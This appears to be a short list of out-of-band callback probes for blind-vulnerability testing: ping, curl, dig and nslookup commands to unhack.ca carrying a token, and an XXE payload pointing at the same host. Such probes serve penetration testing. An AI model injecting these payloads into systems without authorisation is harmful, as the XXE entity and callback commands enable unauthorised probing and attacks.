$ ping -c1 -p 0090a5d5d86023e2302acd5809c6ee00 unhack.ca
$ curl http://unhack.ca/p/90a5d5d86023e2302acd5809c6ee
$ dig 90a5d5d86023e2302acd5809c6ee @unhack.ca
$ dig 90a5d5d86023e2302acd5809c6ee.ns.unhack.ca
C:\> nslookup 90a5d5d86023e2302acd5809c6ee unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/90a5d5d86023e2302acd5809c6ee">]> <foo>&xxe;</foo>